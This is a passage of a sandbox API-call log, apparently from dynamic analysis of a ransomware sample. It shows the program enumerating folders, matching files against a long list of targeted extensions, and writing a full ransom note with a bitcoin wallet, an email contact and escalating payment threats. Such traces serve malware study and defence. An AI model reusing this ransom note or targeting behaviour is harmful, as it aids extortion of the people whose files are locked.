(lpString="*.jpg") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.png") returned 0 [0111.902] lstrlenA (lpString="*.png") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.php") returned 0 [0111.902] lstrlenA (lpString="*.php") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.cs") returned 0 [0111.902] lstrlenA (lpString="*.cs") returned 4 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.cpp") returned 0 [0111.902] lstrlenA (lpString="*.cpp") returned 5 [0111.902] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.rar") returned 0 [0111.903] lstrlenA (lpString="*.rar") returned 5 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.zip") returned 0 [0111.903] lstrlenA (lpString="*.zip") returned 5 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.html") returned 0 [0111.903] lstrlenA (lpString="*.html") returned 6 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.htm") returned 0 [0111.903] lstrlenA (lpString="*.htm") returned 5 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.xlsx") returned 0 [0111.903] lstrlenA (lpString="*.xlsx") returned 6 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.xls") returned 0 [0111.903] lstrlenA (lpString="*.xls") returned 5 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mp4") returned 0 [0111.903] lstrlenA (lpString="*.mp4") returned 5 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.ppt") returned 0 [0111.903] lstrlenA (lpString="*.ppt") returned 5 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.pptx") returned 0 [0111.903] lstrlenA (lpString="*.pptx") returned 6 [0111.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.doc") returned 0 [0111.904] lstrlenA (lpString="*.doc") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.dot") returned 0 [0111.904] lstrlenA (lpString="*.dot") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.docx") returned 0 [0111.904] lstrlenA (lpString="*.docx") returned 6 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.7z") returned 0 [0111.904] lstrlenA (lpString="*.7z") returned 4 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.tar") returned 0 [0111.904] lstrlenA (lpString="*.tar") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.bz2") returned 0 [0111.904] lstrlenA (lpString="*.bz2") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.gz") returned 0 [0111.904] lstrlenA (lpString="*.gz") returned 4 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mkv") returned 0 [0111.904] lstrlenA (lpString="*.mkv") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.eml") returned 0 [0111.904] lstrlenA (lpString="*.eml") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.msg") returned 0 [0111.904] lstrlenA (lpString="*.msg") returned 5 [0111.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.edb") returned 0 [0111.904] lstrlenA (lpString="*.edb") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.accdb") returned 0 [0111.905] lstrlenA (lpString="*.accdb") returned 7 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.odb") returned 0 [0111.905] lstrlenA (lpString="*.odb") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.java") returned 0 [0111.905] lstrlenA (lpString="*.java") returned 6 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.asm") returned 0 [0111.905] lstrlenA (lpString="*.asm") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.pfx") returned 0 [0111.905] lstrlenA (lpString="*.pfx") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.pem") returned 0 [0111.905] lstrlenA (lpString="*.pem") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.p12") returned 0 [0111.905] lstrlenA (lpString="*.p12") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.gpg") returned 0 [0111.905] lstrlenA (lpString="*.gpg") returned 5 [0111.905] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.vsd") returned 0 [0111.905] lstrlenA (lpString="*.vsd") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.odg") returned 0 [0111.906] lstrlenA (lpString="*.odg") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.raw") returned 0 [0111.906] lstrlenA (lpString="*.raw") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.nef") returned 0 [0111.906] lstrlenA (lpString="*.nef") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.svg") returned 0 [0111.906] lstrlenA (lpString="*.svg") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.psd") returned 0 [0111.906] lstrlenA (lpString="*.psd") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.vmx") returned 0 [0111.906] lstrlenA (lpString="*.vmx") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.vmdk") returned 0 [0111.906] lstrlenA (lpString="*.vmdk") returned 6 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.vdi") returned 0 [0111.906] lstrlenA (lpString="*.vdi") returned 5 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.lay6") returned 0 [0111.906] lstrlenA (lpString="*.lay6") returned 6 [0111.906] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mpeg") returned 0 [0111.906] lstrlenA (lpString="*.mpeg") returned 6 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.djvu") returned 0 [0111.907] lstrlenA (lpString="*.djvu") returned 6 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.tiff") returned 0 [0111.907] lstrlenA (lpString="*.tiff") returned 6 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.backup") returned 0 [0111.907] lstrlenA (lpString="*.backup") returned 8 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.pdf") returned 0 [0111.907] lstrlenA (lpString="*.pdf") returned 5 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.cert") returned 0 [0111.907] lstrlenA (lpString="*.cert") returned 6 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.docm") returned 0 [0111.907] lstrlenA (lpString="*.docm") returned 6 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.xlsm") returned 0 [0111.907] lstrlenA (lpString="*.xlsm") returned 6 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.dwg") returned 0 [0111.907] lstrlenA (lpString="*.dwg") returned 5 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.nd") returned 0 [0111.907] lstrlenA (lpString="*.nd") returned 4 [0111.907] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.tlg") returned 0 [0111.908] lstrlenA (lpString="*.tlg") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.lgb") returned 0 [0111.908] lstrlenA (lpString="*.lgb") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mov") returned 0 [0111.908] lstrlenA (lpString="*.mov") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.xdw") returned 0 [0111.908] lstrlenA (lpString="*.xdw") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.ods") returned 0 [0111.908] lstrlenA (lpString="*.ods") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.wav") returned 0 [0111.908] lstrlenA (lpString="*.wav") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.mp3") returned 0 [0111.908] lstrlenA (lpString="*.mp3") returned 5 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.aiff") returned 0 [0111.908] lstrlenA (lpString="*.aiff") returned 6 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.flac") returned 0 [0111.908] lstrlenA (lpString="*.flac") returned 6 [0111.908] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.m4a") returned 0 [0111.909] lstrlenA (lpString="*.m4a") returned 5 [0111.909] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napinit\\a64d6cb9f99621449821066eca9291e9\\napinit.ni.dll", pszSpec="*.csv") returned 0 [0111.909] lstrlenA (lpString="*.csv") returned 5 [0111.909] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd5d8, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x8fd5d8, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x8fd5d8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x27c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napinit.ni.dll", cAlternateFileName="NAPINI~1.DLL")) returned 0 [0111.909] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.909] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x923738, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x923738, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x923738, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a64d6cb9f99621449821066eca9291e9", cAlternateFileName="A64D6C~1")) returned 0 [0111.909] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.909] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x690070, cFileName="napsnap", cAlternateFileName="")) returned 1 [0111.909] lstrcmpA (lpString1=".", lpString2="napsnap") returned -1 [0111.909] lstrcmpA (lpString1="..", lpString2="napsnap") returned -1 [0111.909] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.909] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="napsnap" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap" [0111.909] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap") returned 54 [0111.909] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.910] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.910] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.910] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.910] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.910] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="46a2e8958905ea98cb6e91b38449c58a", cAlternateFileName="46A2E8~1")) returned 1 [0111.910] lstrcmpA (lpString1=".", lpString2="46a2e8958905ea98cb6e91b38449c58a") returned -1 [0111.910] lstrcmpA (lpString1="..", lpString2="46a2e8958905ea98cb6e91b38449c58a") returned -1 [0111.910] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\*.*") returned="*.*" [0111.910] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\", lpString2="46a2e8958905ea98cb6e91b38449c58a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a" [0111.910] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a") returned 87 [0111.910] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.912] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.912] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63104, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf63104, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf63104, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.912] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.913] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.913] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0ce3, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xef0ce3, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0xf16e43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xd0c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napsnap.ni.dll", cAlternateFileName="NAPSNA~1.DLL")) returned 1 [0111.913] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.913] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napsnap.ni.dll") returned -1 [0111.913] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napsnap.ni.dll") returned -1 [0111.913] lstrcmpiA (lpString1="", lpString2="napsnap.ni.dll") returned -1 [0111.913] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\*.*") returned="*.*" [0111.913] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\" [0111.913] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\") returned="" [0111.913] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\HOW TO DECRYPT FILES.txt" [0111.913] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\how to decrypt files.txt")) returned 0xffffffff [0111.913] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.914] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.914] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.917] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.917] CloseHandle (hObject=0x90) returned 1 [0111.917] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\", lpString2="napsnap.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll" [0111.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.ems") returned 0 [0111.917] lstrlenA (lpString="*.ems") returned 5 [0111.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napsnap\\46a2e8958905ea98cb6e91b38449c58a\\napsnap.ni.dll", pszSpec="*.db") returned 0 [0111.917] lstrlenA (lpString="*.db") returned 4 [0111.917] PathMatchSpecA 